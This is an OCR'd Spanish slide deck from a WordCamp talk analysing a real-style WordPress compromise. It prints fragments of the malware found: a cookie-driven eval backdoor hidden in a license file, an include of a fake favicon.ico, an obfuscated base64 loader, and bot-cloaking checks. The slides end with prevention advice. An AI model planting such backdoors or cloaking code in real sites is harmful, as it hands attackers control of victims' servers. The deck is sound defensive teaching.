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QUIEN LES HABLA

Ingeniero Informatico

Tecndlogo humanista y
Asesor en tecnologia

Fotografo y Early Adopter.
Curioso por naturaleza

2015: SUCURI
= Incident Response & Easy SSL

2019: GoDaddy
= Head of IT GoDaddy Espana

+ info: about.me/pharar

y @pharar
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SOBRE SUCUTI

Sucuri: Anaconda
(No Securi / Security)

Website security
Totalmente remota

Operada por personas
de mas de 25 paises

2008: Fundacion

= 2017:

%GoDaddy“

= Scanners gratuitos:
= Sitecheck

= Performance

Your Website




6T AVINOM#

o|nbuy J03soN

INDEX DEL
CASO Al18682

ANTECEDENTES:
CONCEPTOS

EL ARMA: BACKDOOR
LA ESCENA: ANALISIS
VEREDICTO: CULPABLE

MEDIDAS CAUTELARES:
PREVENCION




6T AVINOM#

o|nbuy 1031soN

ANTECEDENTES:
CONCEPTOS

T

i

L,

_—

- —
==
=
=
=
£




H*
=
(@)
<
>
O
=
(o]

o|nbuy J03soN

CIBERSEGURIDAD.
DISCLAIMER

Rama de la seguridad orientada al mundo digital.

Ciberseguridad web: Aquella orientada a los eventos que transcurren
a través de los puertos 80 y 443 y entornos involucrados .

TODA la informacion privada y actores de la presentacion son
ficticios 0 han sido modificados para que no reflejen datos
privados ni escenarios reales. Cualquier similitud con la vida
real es pura coincidencia.
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HACKER

VS
CIBERTER

RORISTA

%

Hacker:

Persona con curiosidad
que explora los limites
impuestos por
materiales, leyes,
algoritmos, etc. y va
mas alla del objeto
inicial por el que se
concibe un objeto, un

entorno o un algoritmo.

N\

Ciberterrorista:

Hacker informatico cuyo
objetivo es negativo o
busca mejorar su
estatus a costa de los
demas

El Hacker Malo.



HACKER
MALO VS
ANALISTA

HACKER MALO: ANALISTA:
CRIMINAL CSI
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license-php.backdoor.eval_COOKIE.004.php X

k?php /% GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007

Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

Preamble

The GNU General Public License is a free, copyleft license for
software and other kinds of works.

The licenses for most software and other practical works are designed

to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program—-to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

To protect your rights, we need to prevent others from denying you

these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
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extract($ _COOKIE);

$PCFO7A  $F($A,$B);




EL ARTE DE
LA GUERRA.
LA CADENA
DE

CONFIANZA

Para defendernos
adecuadamente, debemos
pensar como penetrar el
sistema primero

A mas puertas y ventanas,
mas dificil defender tu
fortaleza

La confianza es
; 7 nuestro punto mas
(Conflas en tus Qa5

\/ distribuidores?  ggnifica delegar I2

¢ Cuanto confias? responsabilidad
Es necesaria
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OBJETIVOS EN UN
ENTORNO WORDPRESS

Usuarios

Base de datos, Informacion
Infraestructura

Bot node

Reputacion
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LA ESCENA:
ANALISIS
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Remote site: /home/

Filename

wp-includes-srcbak
wp-admin-srcbak
wp-content
yyociwe

cO1fce

docs

zzkwijuce
wp-includes

wp-admin

.sucuriquarantine
DISABLED
info.php

.user.ini
.htaccess
gd-config.php
robots.txt
license.txt

69089f65dd9.php.suspected
11380aa99fe.php.suspected
history-template.php.suspected
wp-config.php
7513c638c52.php.suspected
index.php

aains Inlace Ihaasdar mlan

LA ESCENA

Cliente con sitio lleno de
SPAM

SEO afectado (eliminado del
Google Rank) &

Reinfeccion constante

FRUSTRACION ‘e
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Remot

Filenam

wp-
wp-
wp-
yyo

DESIGNS

FREE SHIPPING !!!

BUY VIAGRA
NOW

JiNsS

r de
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Filenam

w

Remol g v« voroyumpuunn. -

Example Domain
www.example.com/ ~

This site may be hacked.

documents. You may use this domai
for permission. More iInformation.

@ atically (op~ " -
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Remote site: /home/ GG

Filename

;/;lp-includes-srcbak D IAG NOS I S

wp-admin-srcbak
wp-content
yyociwe

c01fce - N o w AF
docs
zzkwijuce

wp-includes = Nuestros Scripts habian limpiado el
Wp-sidmin SPAM y detectado malware en

.sucuriquarantine

DISABLED plugins y root
info.php

user.ini = Sin analisis forense, se habia
htaccess establecido como PROBABLE

gd-config.php . s -
robots.txt vector de infeccion un plugin

license.txt desactualizado

69089f65dd9.php.suspected

11380aa99fe.php.suspected m FiCherOS (of0]) g CambiadOS (é?) g

history-template.php.suspected

wp-config.php
7513c638c52.php.suspected
index.php

aains Inlace Ihaasdar mlan
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coO~NOULSE WNBR-

<?php
/*%5797ex/

./index.php @

/%5797 ex/

/ k%

* Front to the WordPress application. This file doesn't do anything, but loz
* wp-blog-header.php which does and tells WordPress to load the theme.

* WordPress

/%%

*x Tells WordPress to load the WordPress theme and output it.
*

* r bool

::k/
define( 'WP_USE_THEMES', true );

/*% Loads the WordPress Environment and Template x/
e( dirname( _FILE__ ) ' /wp-blog-header.php' );
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<?php

define(

'"WP_USE_THEMES', ti§18

( dirname( _ FILE )

./index.php desde wordpress.org

define( 'WP_USE_THEMES', true );

( dirname( _ FILE )

'/wp-blog-header.php’

)

' /wp-blog-he
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WNRFEFOWOWOMNOWULE WN R O W

<?php ]
| Recuperando el ./index.php antes de ser

limpiado por los scripts.

'"\057home\@57ul...]10\146f481\1441.1ic\157";

define( 'WP_USE_THEMES', true );

( dirname( _ FILE ) ' /wp-blog-header.php' );
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<?php

Revelando el cédigo oculto

"/home/usuario/public_html/wp-content/themes/theme/assets/

favicon_0ff481dl.ico";

define( 'WP_USE_THEMES', true );

( dirname( _ FILE )

' /wp-blog-header.php' );




;
- <?php

:
=W N -

"/home/usuario/public_html/wp-content/themes/theme/assets/
favicon_0ff481dl.ico";

» pNp —-a
Interactive shell

php >
php > echo "\x2Th\x6Tm\x65/x63_\x68t\x6d1\x2Tfh\x6Ffm\x652\x301\x36/\x76e\x6ed\

/home/usuario/public_html/wp-content/themes/theme/assets/favicon_ﬁff481d1.icd

19 define( 'WP_USE_THEMES', true );

( dirname( _FILE__ ) ' /wp-blog-header.php' );

o|nbuy J03soN
N
N




28

6T AVINOM#

o|nbuy J03soN

DIAGNOSIS

Herramientras
utilizadas:

« Consola PHP modo
Interactivo:

$ php —a

« unphp.net

Decode Recent API Services Contact

UNPHP - The Online PHP Decoder

UNnPHP is a free service for analyzing obfuscated and malicious PHP

To get started either copy your code below or choose a file to upload then click 'Decode This PHP'. Just ch¢

Decode This PHP

Eval + gzinflate + Base64

UnPHP easily handles simple obfuscation methods that chain functions like eval(), gzinflate(), str_rot13(), s

View Output
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Pero volvamos a nuestro favicon sospechoso.

favicon 0ff481dl.1ico
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<?php

if (ldefined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

-
define("'ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1);

$thxzqsaz = 9669;

function rgakyqy($eztimjoyq, $cxgon){

$symcwhpc = '';
for($i=0;
$1 < strlen($eztimjoyq);
$i++){
$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];

}

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}

$owpjujowns = 'bTCX6xwiIdHNGLV406cHGUMYGHOQI1GU76wpVLKOORQX6xWiIdHNGLV406cQIlcngWMelaMIMe
$wczmc = Array('1'=>'e', '0'=>"'9"', '3'=>'A', "2'=>'S', 'S'="r', '4'=5'0', '7'=>"'L', '6'=
eval/*zbwyugbz*/(rgakyqy($owpjujowns, $wczmc));

}

//55dc265565¢31933c4ea7059cacldb/cZDO3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1N j4
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if (!defined('ALREADY_RUN_1bc29b36342a82aaf6658785356718") Semaforo de
ejecucion

define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"', 1);

$thxzqsaz = 9669;

function rgakyqgy($eztimjoyq, $cxgon){

$symcwhpc = '';
for($i=0;
$1i < strlen($eztimjoyq);
$i++){
$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];

}

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}

$owpjujowns = 'bTCX6xwiIdHNGLV406cHGUMYGHOQI1GU76wpVLKOORQX6xWiIdHNGLV406cQIlcngWMelaMIMe
$wczmc = Array('1'=>'e', '0'=>"'9"', '3'=>'A', "2'=>'S', 'S'="r', '4'=5'0', '7'=>"'L', '6'=
eval/*zbwyugbz*/(rgakyqy($owpjujowns, $wczmc));

}

//55dc265565¢31933c4ea7059cacldb7cZDO@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1Nj4
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<?php

if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1);

$thxzqsaz = 9669; \S: SO S ICg IC()) "
function rgakyqy($eztimjoyq, $cxgon){ Base64
$symcwhpec = '';
for($1=0;
$1 < strlen($eztimjoyq);
$i++){

$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyd[$i]] : $eztimjoyq[$i];
}

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}
$owpjujowns = 'bTCX6xwiIdHNGLV406cHGUMYGHOQI1GU76wpVLKOORQX6xWiIdHNGLV406cQIlcngWMelaMIMe

$wczmc = Array('1'=>'e', '0'=>"'9"', '3'=>'A', "2'=>'S', 'S'="r', '4'=5'0', '7'=>"'L', '6'=
eval/*zbwyugbz*/(rgakyqy($owpjujowns, $wczmc));
}

//55dc265565¢31933c4ea7059cacldb7cZDO@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1Nj4
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<?php

if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1);

Clave de

$thxzqsaz = 9669; . .
Sustitucion

function rgakyqgy($eztimjoyq, $cxgon){
$symcwhpc = '';
for($i=0;
$1i < strlen($eztimjoyq);
$i++){
$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];

}

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}

; P - -
hOWD OWH — B X 6 X W AHDN 4()6CcH Vi H( ] e KOOROXHXW AHN 4()6c() NnaWwMe | aM IMed

$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', 'S'="r', '4'=>'0"', '7'=>'L"', '6'
eval/“zbwyugbz™/(rgakyqy($owpjujowns, $wczmc));

}

//55dc265565¢31933c4ea7059cacldb7cZDO@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1Nj4
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<?php

//55dc265565¢c31933c4ea7059cacldb7cZD@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1Nj4

if (ldefined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718')) FUNCIiON de

t descifrado por
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"', 1); . .7
sustitucion

Ahora

function rgakyqy($eztimjoyq, $cxgon){ tenemos un
el codigo en
'Forl($i=0; — 7y
$i < strlen($eztimjoyq); base64 valido
$i++){
$symewhpe .= isset($cxgon[$eztimjoyq[$P) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}

; P - -
hOWD OWH = B X 6 X W AHN 4()6CcH MV (;HA() AWH KOOROXHXW AHN 4()6c() NaWwMe | aM IMed

$wczmc = Array('1'=>'e', '0'=>'9', '3'=>'A', '2'=>'S', 'S'="r', '4'=>'0"', '7'=>'L"', '6'
eval/ “zbwyugbz™/(rgakyqy(d»owpjujowns, »wczmc)),

}
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<?php

if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

-
define("'ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1);

$thxzqsaz = 9669; Se descodifica

function rgakyqy($eztimjoyq, $cxgon){
$symcwhpc = '';
for($i=0;
$1 < strlen($eztimjoyq);
$i++){
$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimPoyq[$i]] : $eztimjoyq[$i];
$ffjhcahkad="base64_decode" ;return

}
yaseb4_decode($symewhpc);}
$owpjujowns = 'bTCX6xwiIdHnGLV406¢ <t SORE IdHNG1V406cQI1lcngWMeIaMIMe

$wczme = Array('1'=>"e"', '0'=>'9', '3'=>"A", "2'=>'S', 'S'="r', '4'=>'0", '7'=>"L", '6'=
eval/*zbwyugbz*/(rgakyqy($owpjujowns, $wczmc));
}

//55dc265565¢31933c4ea7059cacldb7cZD@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1N 74
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<?php

//55dc265565¢31933c4ea7059cacldb/cZD@3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1N 74

if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

-
define("'ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1);

Codigo MD5

$thxzqsaz = 9669;
comentado

function rgakyqy($eztimjoyq, $cxgon){

$symcwhpc = '';
for($i=0;
$1 < strlen($eztimjoyq);
$i++){
$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? gon[$eztimjoyq[$i]] : $eztimjoyq[$i];

}

$ffjhcahkad="base64_decode" ;return base64_dgfode($symcwhpc);}

$owpjujowns = "bTCX6xwiIdHNGLV406cHGUMYGHAOI1GU76wpVLKOORQX6xWiIdHNGLV406cQIlcngWMelaMIMe
$wczmc - Arr‘ay(ll'=>|e" '0'=>|9|’ '3' 'A', '2'=>'S|, l5|=>lr‘l’ l4'=>10|, |7l=>IL', l6l=
eval/*zbwyugbz*/(rgakyqy($owpjujownss” $wczmc));
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<?php

if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718"))

- Codigo Base64

define("'ALREADY_RUN_1bc29b36f342a82aaf6658785356718", 1); )
cifrado con el

$thxzgsaz = 9669; CC’)dlgO MD5
function rgakyqy($eztimjoyq, $cxgon){ La backdoor real

T

$symcwhpc = '';
for($i=0;
$1 < strlen($eztimjoyq);
$i++){

$symcwhpc .= isset($cxgon[$eztimjoyq[$i]]) ? $cxgon[$eztimjoyq[$i]] : $eztimjoyq[$i];

}

$ffjhcahkad="base64_decode" ;return base64_decode($symcwhpc);}
$owpjujowns = "bTCX6xwiIdHNGlV406cHGUMYGHOQI1GU76wpVLKOORQX6
$wczme = Array("1'=>"e', '0'='9", '3'=>"A', '2'=>'S', '5'=
eval/*zbwyugbz*/(rgakyqy($owpjujowns, $wczmc));
}

1IdHNG1V406cQI1lcngWMeIlaMIMeg
r,', l4'=>10l, |7l=>|L" l6l=

//55dc265565¢c31933c4ea7059cacldb/7gZDO3bnp3PmQhL1ZndzY8dGthfW820W42WXgheS440Hg1dzwlMDB1N j4
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Recopilando...

ESTRUCTURA
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 <?php
( defined('ALREADY_RUN_[...random hexadecimal string]')) {

define('ALREADY_RUN_[...random hexadecimal stringl', 1);

function random_ functlon _name($translate_ key, $d1rty base64_code) {

// Simple replacement decryption, using $translate_key

/ of the $dirty basetd4 code 1rdwsfu1_.”u
1t 1n a correct base64 code

base64_decode($base64_clean_code);
}

$random_var_dirty_base64_code - 'bTCX6xwiIdHnGlV406cHGUMYGHOQI1GU76wpVLKIORQX6xwiIdHNGLV.
Hc68UIZjKWLVKqZXoc rHyIHO4YZoHMeg896xDbTi3gWMeIaMnGd'

[ looking-like-base64-encoded strings concatenations ]
's6385638sB4X6u38s5638s638nT405638s5638s6wHv 1zys6AxvWAzZeczYeccpg40s638s63" '8s6wH1rH40
$random_var_translation_key Array('1’ ‘e', "0’ 9ty "3 ‘At, '2' sty 5!

. ICI .0.' IBI IHI' IEI ljl' IDI l7l' IGI lcl' IFI lEl' lIl lbl‘
lql' IQI ISI' IPI Itl' ISI lul' lRl ITI' IUI lnl' ITI IQI' lwl
1 IDI' lel lyl' ldl lml' Igl lwl' Ifl I6l' lil lpl' Ihl I5l' lk
- lpl IOI' ISI III' lrl IGI' lul lil' ltl IPI, lwl IBI' lvl IYI‘
eval
/*[random chars acting as ID tag]x/
(random_function_name($random_var_translation_key, $random_var_with_dirty_base64_code));

265565¢31933c4ea7059cacldb7¢c |... commented 32 chars of MD5 + encrypted code .




HERRAMIENTAS DE ANALIS

Herramientas Scanners
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= Console del Navegador, browser dev
tools y plugins/extensiones.

= Baseb4(code-decode):

base64decode.org

= Beautifier of code in HTML, CSS, ]S
and PHP:

ctrlg.org/beautifier
= Phased decrypter by SUCURI:

ddecode.com

Sitecheck (SUCURI)

sitecheck.sucuri.net

Performance (SUCURI)

performance.sucuri.net

VirusTotal:

virustotal.com

WebPageTest:

webpagetest.org
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VEREDICTO:
CULPABLE
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O ~dOY N &

10
11
|
13
14
i £
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Vv

(

(

AL FINAL DEL PROCESO

$_SERVER['HTTP_REFERER'] preg_match('/(google\. |\.
facebook\. |\.yahoo\. \.bing\. baidu\. |yandex\.)/i', $_SERVER["®
'"HTTP_REFERER']))

FALSE;

$_SERVER['HTTP_USER_AGENT"'] preg_match('/(yandexbot
baiduspider archiver track crawler google msnbot ysearch

search bing ask indexer majestic scanner spider facebook Bot
\/)/i', $_SERVER['HTTP_USER_AGENT']))

FALSE;
[tds_path] nbgvecy5/engine. php
[tds_ip] T . 133




Un favicon que convierte tu sitio en un
BOT NODE

CONCLUSION

=i Habilidad Oday

1z=1 Opciones configurables (una era SPAM)

~  Control de los sitios infectado y con qué
malware
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Se conecta a un dashboard grafico de
manejo de la BotNet

o|nbuy J03soN
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MEDIDAS
CAUTELARES:
PREVENCION
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6T AVINOM#
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SEGURIDAD POR
CAPAS

Tu (vulnerable al Social hacking)

Tu dispositivo (Antivirus)

Tu conexion (SSL)

Tu sitio web (Firewall)

Tus credenciales (Contrasefas fuertes)

Tu seguridad del sitio (monitorizaciéon y
actualizaciones)

Tu seguridad del server (monitorizacion y
actualizaciones)

Tu base de datos (monitorizacién)

Mantenimiento
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v/
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Los plugins te ayudan Escaner de integridad:
Medidas de seguridad generales Detecta cambios en ficheros
No asistidos (o casi) Calcula los cambios

Huella digital MD5

PLUGINS.
EL ESCANER DE INTEGRIDAD.
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BACKUPS Y
ACTUALIZACIONES

- You need backup

= iCrea una Estrategia de Copias de
Seguridad!

NUNCA almacenes copias de
seguridad en tu servidor de
produccion (cross-site contamination)

Las copias de seguridad deben
almacenarse en un lugar seguro

Una copia de seguridad limpia y
funcional es tu mejor amiga en un
mal dia
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BACKUPS Y
ACTUALIZACIONES

ACTUALIZA

ISIEMPRE!




WAF .
TU PERRO
GUARDA

111

Limpia todo el trafico a tu sitio web

Previene XSS, DDoS, etc...

Software vulnerable parcheado y protegido
de manera virtual

Si incorpora CDN, ademas mejorara en
velocidad y rendimiento.

Herramienta para analisis forense

Permite bloquear a criterio del usuario



Limpia todo el trafico a tu sitio web

) y protegido

jorara en

nse

usuario




Firewall para Aplicaciones Web (WAF)

Protege y Acelera tu Sitio Web

Red de Sucuri

Todo el Tréafico Perfilado de Firmasy Motor de »
HTTP / HTTPS Aplicacion Heuristica Correlacion

Trafico
HTTP / HTTPS Bueno
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Trafico
HTTP / HTTPS Malo
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There are two types of

companies: those'who
have been hacked, and
those who don’t yet know
they have been hacked.

John Chambers
Chief Executive Officer of Cisco
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Everybody needs a hacke,.
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WordCamp
Madrid €19

GRACIAS
por su atencion
iPreguntas!

Néstor Angulo de Ugarte
@pharar




